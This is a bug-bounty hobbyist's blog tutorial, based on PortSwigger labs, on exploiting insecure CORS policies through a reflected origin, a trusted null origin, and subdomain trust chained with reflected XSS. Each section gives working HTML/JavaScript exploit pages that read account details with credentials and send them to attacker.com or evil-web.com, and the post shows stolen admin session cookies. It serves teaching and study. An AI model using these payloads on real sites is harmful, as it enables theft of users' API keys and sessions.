Insecure CORS Policy

Erik
Written by Erik on
Insecure CORS Policy
  • Cross-Origin Resource Sharing (CORS) is a browser mechanism that allows controlled access to resources outside a given domain.
  • It extends and adds flexibility to the same-origin policy (SOP).
  • However, it also offers the potential for cross-domain attacks if a website’s CORS policy is poorly configured and implemented.

Table of Contents

  1. CORS with Origin base mirrored
  2. Origin only allows null origins
  3. CORS with insecure reliable protocols

CORS with Origin base mirrored

We can see the result of the data in the response.

CORSBASIC1

And the customized origin is reflected, which tells us that it is vulnerable.

Origin: http://web-testing.com

CORSBASIC2

We create a custom html so that this data is sent to our malicious page to steal this data.

CORSBASIC-webmaliciosa

  • Malicious web HTML:
<html>
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://web.com/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
	location='https://attacker.com/log?key='+this.responseText;
};
</script>
</html>

When the user visits our site it will send the data from that endpoint to our site where it can be seen in the logs of our server.

CORSBASIC-LOGS


Origin only allows null origins

When we modify the Origin it is not reflected in the request.

Origin: http://web-testing.com

CORS-NULL-nullisnotreflected

We can see that the website only allows Origins that are null.

Origin: null

CORS-NULL-nullisreflected

  • An attacker can use several tricks to generate a cross-origin request containing the NULL value in the Origin header.
  • This will satisfy the whitelist, leading to cross-domain access. For example, this can be done using an iframe cross-origin request in isolated form space:

  • Malicious HTML web:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
	<script>
		var req = new XMLHttpRequest();
		req.onload = reqListener; 
        req.open('get','https://web.com/accountDetails',true); 
        req.withCredentials = true;
        req.send();
		function reqListener() {
		location='https://attacker.com/log?key='+this.responseText; }; 
    </script>
">
</iframe>

With the location we are indicating that this response that has the sensitive data is sent as parameters to the attacker’s page. This is the request that the victim user makes from behind when visiting our page.

1- Visit the attacker page and execute the javascript script we have created.

CORS-NULL-1

2- When it reads the location it sends the data

CORS-NULL-2

3- When the user visits our page it will send the data of that endpoint to our page where it can be seen in the logs of our server. Server logs:

CORS-NULL-3

Url Decode: We have: User, email, apikey and the session (The cookie that is linked to the user).

CORS-NULL-urldecode

Filtering administrator data

Now imagine that the administrator visits our page, we get his data and in that data is included the session cookie that we can use to enter your session Server logs:

CORS-NULL-admin1

Url Decode:

CORS-NULL-admin2

We already have the administrator session

Admin Session: F1BVIVSoQvTaB8i6HJ25gxtJdvJKweuz

CORS-NULL-admin3


CORS with insecure reliable protocols

The website only trusts domains that belong to it, i.e. its subdomains.

We do a test with our site in the origin and we get no reflection.

Origin: http://web-testing.com

CORS-SUBDOMAIN1

We tried with a subdomain and it is reflected.

Origin: http://subdomain.web.com

CORS-SUBDOMAIN2

We found a valid subdomain

CORS-SUBDOMAIN3

This subdomain is vulnerable to XSS reflected in the productId parameters, this will help us to execute our script since the page only trusts its subdomains.

XSS in subdomain

CORS-SUBDOMAIN-XSS

We exploit this vulnerability to exploit cross-domain trust to exfiltrate data to our server.

Our malicious web

  • HTML malicious web:
<html>
<script>
document.location="http://subdomain.web.com/?search=<script>var req = new XMLHttpRequest(); req.onload = reqListener;req.open('get','https://web.com/accountDetails',true);req.withCredentials = true;req.send();function reqListener() {location='https://evil-web.com/log?key='%2b%this.responseText; };%3c/script>"
</script>
</html>

When the victim user visits our page he will execute the XSS of the subdomain containing the script that makes a request to the page vulnerable to cors by domain trust and the response of that request is sent to the logs of our server.

1- The user visits our malicious page which contains the main script

CORS-SUBDOMAIN-FINAL1

2- The javascript is executed and sends the user to the subdomain and executes xss

CORS-SUBDOMAIN-FINAL2

3- As the script comes from a trusted domain configured by the cors of the final page, it is executed on the page vulnerable to CORS.

CORS-SUBDOMAIN-FINAL3

4- As it was malicious, the response was sent to the attacker’s server with all the sensitive data. Finally the data is sent to the malicious page as we can see with this intercepted request.

CORS-SUBDOMAIN-FINAL4

5- These data are saved in the logs of our page as an attacker. In which in this case are sent username, email, apikey and session cookie.

CORS-SUBDOMAIN-FINAL5

6- In the most extreme case as we have explained before, if an administrator visits our page we will have his session cookie.

CORS-SUBDOMAIN-FINAL6

7- Using the administrator’s session cookie

Admin Session: clljARot4Lc4KkFHfIylENGZmZbzYwD7

CORS-SUBDOMAIN-FINAL7


Conclusion

  • This always depends on the response to the endpoint that we point.
  • In this example the user’s session cookie or email was sent, but this is a particular case because the webs are very different from each other, as the above point says, it all depends on the response of the endpoint.
  • Understand what trust relationships are handled in CORS policies because there may be a CORS vulnerability but it does not have to be offensive. Like everything else, it depends on the context.

  • Source Labs: Portswigger Labs
  • Credits Image: Portswigger
Erik

Erik

Hi! Im Erik I love computer security and in my spare time I do bug bounty or research.
Every day I try to learn something new, no matter how small it is.